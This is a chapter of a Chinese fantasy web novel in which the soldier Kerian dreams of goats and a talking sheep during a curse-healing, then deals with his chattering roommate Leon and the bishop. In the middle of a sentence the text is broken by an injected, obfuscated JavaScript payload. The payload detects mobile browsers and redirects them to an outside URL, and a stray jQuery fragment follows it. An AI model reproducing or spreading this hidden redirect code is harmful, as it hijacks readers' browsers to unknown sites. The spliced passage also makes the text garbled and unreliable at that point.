羊,好多山羊。
床上,独轮车里,窗边,灶台旁,全是山羊。
凯里安伸手想抓住餐桌另一头的面饼,但一只山羊前蹄搭在餐桌上,另一只山羊蹦起来踩上它的背,伸脖子,呲牙咧嘴地把食篮扯落,面饼撒了一地,山羊们都凑了上去,两三下把饼吃光,来晚的羊还津津有味地啃起了篮子。
“他妈的!给我住口!”凯里安差点也想蹦上桌子,扑到对面去把某只还在细嚼慢咽的山羊的嘴掰开,抢剩下那半个饼。
但他步子还没迈开就被拦住了,一只小羊叼住他的衬衫,半是吮吸半是咀嚼。
饭没吃上,没想到这下连衣裳也要保不住了。
“你给我——撒开!”凯里安拽着衣服,手上青筋直冒,但小羊下盘坚实,纹丝未动,已经将衬衫吃到腋下。
家里的山羊一只攀着另一只,堆了好几层,最上面的羊已经开始嘎吱嘎吱啃食房梁。
好不容易把衬衫拔出来,衣衫褴褛的凯里安被山羊挤到墙角,无数个羊嘴筒子嗅闻着他。那些从来不打算听人使唤的牲口头上,被啃破的天花板的洞里传出一声呼唤。
“凯!你吃完了吗?”他老娘的声音发出重要指示,“抓紧时间,你舅舅的羊掉了!在它们啃光别人家的番茄苗之前把它们逮回来!”
有只羊闻得特别用力,凯里安觉得自己的额头险些要被戳出一个窟窿,他大吼:“妈……妈!你搞错了吧!怎么会又掉了!他哪来那么多的羊,充其量……”那只吃掉他一半衬衫的小羊从羊群里挤出来,低头啃起他的裤腿,凯里安绝望地感到口水润湿了自己的脚踝,“充其量就只有个三四只!我们家里的这些——”
“到底是!他妈的!怎么回事!!?”
凯里安大叫这几声之后捂住脑袋,试图制止山羊继续把口水蹭到他的头上,但忽然,所有的羊都停下了动作,它们抬头向上望,好像在等待着什么。
“凯,”天花板洞里的声音叹了口气,语音变得更加飘忽空灵,“你难道不想要这些吗?”
“要什么?这些羊吗???”凯里安难以置信,什么疯子会要一群恨不得把家里地基都啃掉的牲口?
“这样,”洞里探出一颗头,又是羊,一只会说话的羊,它横着的双瞳盯着凯里安,“因为你对权财声望没有太多切实的理解能力,所以我们选了一些你更熟悉的。”
那只天花板上的羊跳了出来,踩在羊堆上,慢腾腾地走下地,它与山羊不同,浑身裹着厚实的卷毛,像一颗圆滚滚的球。
它是一只绵羊。
什么玩意儿??凯里安感觉自己的脑子已经被这些没有丁点逻辑可言的景象冲击到无法运转了,他闭眼,狠狠地揉了几下,再睁开时绵羊只是把头凑得更近了,仔细一看这畜生的瞳孔上还有一小块白斑。
“那么更长的寿命和更强悍的身体呢?凯?”它又一次口吐人言。
“用不着!我们家的人都长命得很!我舅爷现在还能潜海里挖蛎子呢!”凯里安大吼,然后摆手,嘴里发出驱赶动物的嘘声。
绵羊慢条斯理地磨了几下牙齿,眼中的混沌与狡诈恰到好处地搅合了一起,他舅舅家的羊偶尔也会露出这样的眼神,比如,当它们吃光藏在柜子深处为过冬准备的奶酪时。
“孩子,你想叫谁活过来吗?”
“活过来?谁?”凯里安完全摸不着头脑。
“可以是任何人。”
“所以谁啊?”就算被这样问他也想不出,凯里安这辈子还没见过亲人朋友死掉。
他瞪着绵羊。
绵羊瞪着他。
小山羊谨慎地斟酌片刻,开始啃食凯里安的鞋面。
最后凯里安受不了了,他说:“好吧!好吧!这样好了,你就叫……我们村头那个挺会做,呃,鸡肉馅饼的老太婆活过来好了,每到升天节她都会给每户人家送点去,说实在的,那饼子挺香的。”
绵羊鼻翼扇动,喷出热气,接着它张嘴,狠狠地冲凯里安脑袋上啃了一口。
凯里安感觉自己头皮都要被扯掉了,他痛得大叫一声从躺椅上醒来,而他身边,本来应该和他一样躺着的,要在梦里治疗他的矮妖们也早早睁眼,一脸茫然地注视着他。
————————————
据说,他的治疗进行得很顺利。
只花了不到两个小时,还能赶上早饭,按照矮妖的说法,他们还没来得及在梦里化形诅咒就解开了。
凯里安心有余悸地检查自己的衣服,没有口水也没被嚼烂。
所以——就这样结束了?他没怎么念过圣书,但也听过家乡的老神父念叨先知们的故事和预知梦,吃人鲸鱼,啃秃田野的大蝗虫,从天而降要杀光所有异教徒头生子的天使,诸如此类莫名其妙又杀气腾腾的玩意儿,而一群吃衣服的羊跟它们比起来也太……朴素祥和了吧!
话又说回来,这能暗示什么?他舅的羊再一次离家出走,跋山涉水来探望他,路上用光盘缠饿得要啃衣服吗??虽然那最后一下子还咬得挺扎实的,但凯里安以前每次阻止那几只羊,把葡萄从它们嘴里抢下来的时平均也要挨上个五六下,被这么咬上一口只能叫他怪怀念的。
不过,其他人就没他这样好运了。
玛德兰娜修女,睡了两天一夜才将白骑士的诅咒解开,从梦里醒过来。
而里昂·阿利耶斯,那个嘴上没门把的骑士团顾问,他就更离谱了。
“———凯,你在哪?我的朋友,你绝对猜不到,我找到了什么有趣的东西!”
凯里安皱眉,把被子拉上来准备装睡,但里昂(凯里安着实不明白这没拿过比皮包更重的东西的鸡崽似的人物到底怎么能如此)眼疾手快,一把把他薅了起来。
他往凯里安怀里塞了厚比砖块的大部头,一本几百年前东行传教士汇总的词典,翻开一页,然后又将誊写的白骑士的信封放在书中央。
“你瞧,这里这里还有这里!是一样的,我又找到了一个名词,我想,这是专有专用的,航运港口一类,因为它被用来说明船舶数目,还有季节————”
凯里安被他叽里呱啦叫得脑仁子疼,这缺根筋的家伙似乎以为自己讲得够多别人就能理解,但那些画出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136206|171158||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一样的方块字在凯里安眼中和烤裂的饼干没什么两样。
一开始凯里安还对这个王都来的,似乎以看书写书并且解释自己写了啥为生的家伙抱有期待,以为他能破解点白骑士的秘密出来。然而两个人一起呆了五天,里昂每次蹦跶都是因为类似不着调而且无聊的名词,笛子啦,曲谱啦。
这次是港口,一个他们一辈子都不会去的,远在大陆对面的,怎么念都搞不明白的港口。
“嗯,行吧,了不起!”凯里安把书丢了回去,他的手好得快差不多了,这两天就能彻底解下绷带,“你继续,我先睡了。”
“啊?这就睡了?”里昂看了一眼自己的怀表,才过八点。
“不然呢,那些给你治病矮妖又稀里哗啦吐起来我怎么睡得着?”凯里安没好气地哼哼几下。
是的,五天了,里昂还在继续接受矮妖的治疗。
而且不顺利,很不顺利,每次矮妖来都会接二连三地呕吐,有时候才刚躺下去就嘴里冒出白沫,被人连忙拉起来害怕他们叫自个儿嘴里呕出来的液体呛死。
至于里昂本人倒是屁事没有,每天睡足八小时,醒来之后梦里发生了什么半点记不住。
“哎呀,这可能也是体质原因吧,我从小就不爱做梦,不过,听说这也是睡眠良好的表现呀!”
他似乎对此还挺满意,但为此遭殃的人可不少。
首先是一拨一拨每天准点来吐得不知昏天黑地的矮妖,再来就是凯里安,他已经被确信解除了诅咒了,虽说需要再观察一段时间,可特意为他派人又有些浪费人力,于是他们敬爱的,非常符合清贫节省美德的主教,将凯里安和里昂安排暂时住在了一起,叫两人互相注意有没有什么异状。
五天下来,凯里安觉得这人本身就是个“异状”,他简直无法理解,怎么会有人能这样聒噪烦人,在里昂面前,恐怕连他老家打鸣的鸡,树上的蝉都要自惭形秽于自己的精力不济。
他甚至怀疑那些矮妖都是被这人一脚天一脚地的脑瓜子颠吐的。
可矮妖好歹还能换班,他呢?天天和这小子干瞪眼,五天过得比他守夜半个月还累。他唯一好使的应对策略就只有多睡会儿,保养保养自己饱经蹂躏的耳朵。
现在凯里安只盼着自己的手快些好起来,这样他就能和上面申请尽早回自己的的队里。
吱呀一声门开了,大约是矮妖们来了,想着自己终于能清净一会儿,凯里安满意地又一次把被子拉起来。
然而里昂似乎打定主意不让他消停,邦邦地用手拍着凯里安被子下的肩膀,“凯,别睡啦,快起来,凯!”
凯里安忍无可忍,掀开被子,“妈的,你小子今天是不是就没完了————”
他瞪眼,在看清自己眼前的人的瞬间把后面半句“信不信再嚷嚷我就把你的书塞你喉咙里!”生生咽了下去,连滚带爬地起身,垂头行礼。
身着深色圣袍的年轻人,他们的主教,亚力克斯站在床前,看着大气不出的凯里安的脑袋。
“这个点就躺下了?看来这几天你过的很惬意啊,奥列维。”他说。